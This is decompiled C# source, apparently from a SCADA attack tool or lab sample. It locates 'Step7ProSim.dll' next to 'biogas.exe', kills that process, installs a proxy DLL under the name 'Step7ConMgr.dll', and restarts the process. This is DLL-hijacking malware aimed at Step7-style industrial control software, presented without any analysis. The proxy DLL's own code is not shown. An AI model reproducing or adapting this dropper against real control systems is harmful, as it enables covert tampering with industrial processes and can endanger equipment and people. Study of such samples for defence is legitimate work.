// Decompiled with JetBrains decompiler // Type: PackagingModule.Program // Assembly: PackagingModule, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: ECA555CA-2081-4B95-BC97-67E80E0B4BE8 // Assembly location: C:\Step7ProSim\scada.exe using System; using System.IO; namespace PackagingModule { internal class Program { public static void Main(string[] args) { FileFinder fileFinder = new FileFinder(); DllProxyInstaller dllProxyInstaller = new DllProxyInstaller(); string str1 = "Step7ProSim.dll"; string newDllFilename = "Step7ConMgr.dll"; string str2 = "biogas.exe"; Console.WriteLine("searching for components..."); foreach (string fileName in fileFinder.FindFile(str1)) { string directoryName = new FileInfo(fileName).DirectoryName; string str3 = Path.Combine(directoryName, str2); if (File.Exists(str3)) { Console.WriteLine("Killing relevant processes..."); ProcessManager.KillProcess(str2); dllProxyInstaller.InstallProxy(directoryName, str1, newDllFilename); Console.WriteLine("Restarting processes..."); ProcessManager.StartProcess(str3, directoryName); } } } } }